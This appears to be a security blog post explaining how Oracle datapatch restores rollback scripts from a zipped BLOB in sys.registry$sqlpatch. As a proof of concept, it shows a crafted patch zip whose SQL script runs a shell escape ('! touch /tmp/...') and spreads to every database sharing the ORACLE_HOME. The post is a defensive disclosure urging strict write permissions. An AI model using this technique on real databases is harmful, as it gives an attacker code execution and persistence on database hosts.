Oracle Datapatch - out of place patches simplified

datapatch was introduced with Oracle 12.1 to simplify management of post-patching steps when a patch (or patchset) is applied.
As most software, it was written with best intentions but little knowledge how customers would use it.
One of these unforseen used case was parallel patching of multiple DBs in the same ORACLE_HOME at the same time.
Another problem was missing rollback files due to out of place patching.

Oracle addressed this in Bug 23170620.
The solution there is interesting:
the table sys.registry$sqlpatch is extended by a column patch_directory. It is a BLOB which contains the Zipped contents of patch directory.
By this patch, each database contains the sql files required to rollback a change done in the database. If datapatch does not find the proper rollback files in ORACLE_HOME/sqlpatch, it unzips the content of registry$sqlpatch.patch_directory into ORACLE_HGOME/sqlpatch and executes the scripts. For every new patch, a zip file is loaded into the table by datapatch.
With 18c an equal mechanism was introduced in sys.registry$sqlpatch_ru_info respectively DBA_REGISTRY_SQLPATCH_RU_INFO.

By it's own this feature is very nice. But it shows the importance of serious security settings.
Only SYS can write to these tables by default, and that should be limited for some good reasons:
If anyone can write to this table with evil intentions, he can create a zipfile with a content like

.
├── 1234.xml
├── 1234_apply.sql
├── 1234_rollback.sql
└── rollback_files
    └── rdbms
        └── admin
            ├── berx_bug1234_apply.sql
            └── berx_bug1234_rollback.sql

The XML contains some basic content

<?xml version="1.0" encoding="utf-8"?>
<sqlPatch ID="1234" uniquePatchID="5678" applicationPatch="NO" bundle="NO" jvm="NO" bundleSeries="NONE" bundleID="0"   startupMode="normal" estimatedTime="5">
  <patchDescription>berx' datapatch-escape</patchDescription>
  <component>CATALOG</component>
  <component>CATPROC</component>
  <sqlFiles>
    <file mode="rollback" new="yes" estimatedTime="5" component="CATALOG">rdbms/admin/berx_bug1234_rollback.sql</file>
    <file mode="apply" new="yes" estimatedTime="5" component="CATALOG">rdbms/admin/berx_bug1234_apply.sql</file>
  </sqlFiles>
</sqlPatch>

and the 1234_rollback.sql file can contain:

SET SERVEROUTPUT ON

REM Apply script for patch 1234/5678
DEFINE description = &1
DEFINE logfiledir = &2
DEFINE flags = &3
DEFINE bundle_series = &4

COLUMN sqlpatch_logfile NEW_VALUE full_logfile


SELECT '&logfiledir' || '1234_apply_' ||
       CASE WHEN (sys_context('userenv', 'cdb_name') IS NULL) 
            THEN name
            ELSE name || '_' || replace(sys_context('userenv', 'con_name'), '$')
             END || TO_CHAR(systimestamp, '_YYYYMonDD_HH24_MI_SS') ||
                    '.log' AS sqlpatch_logfile
  FROM v$database;

SPOOL &full_logfile

SET PAGESIZE 0
SELECT 'Starting rollback for patch 1234/5678 on ' ||
       SYSTIMESTAMP FROM dual;
SET PAGESIZE 10

BEGIN
    dbms_sqlpatch.patch_initialize(p_patch_id      => 1234,
                                   p_patch_uid     => 5678,
                                   p_flags         => '&flags',
                                   p_description   => '&description',
                                   p_action        => 'APPLY',
                                   p_logfile       => '&full_logfile',
                                   p_bundle_series => '&bundle_series');
END;
/

COLUMN install_file NEW_VALUE sql_script


ALTER SESSION SET CURRENT_SCHEMA = SYS;

SET PAGESIZE 0
SELECT 'Calling rdbms/admin/berx_bug1234_apply.sql on ' || SYSTIMESTAMP FROM dual;
SET PAGESIZE 10

PROMPT IGNORABLE ERRORS: NONE
select "berx_was_here!" from dual;
create table berx_was_here as select  * from dual;

! touch /tmp/berx_was_here


BEGIN dbms_sqlpatch.patch_finalize; END;
/

SET PAGESIZE 0
SELECT 'Finished apply for patch 1234/5678 on' ||
       SYSTIMESTAMP FROM dual;
SET PAGESIZE 10

SPOOL off

This specific script creates only one table and a file in /tmp but it could do worse.

At the next run of datapatch (might it be due to a regular patch session or an one-off patch with post-patching steps), will execute this script. And as the script then is located in ORACLE_HOME/sqlpatch, all other databases which instances use this ORACLE_HOME and get patched will be affected also (and get the zip-file added to their sys.registry$sqlpatch).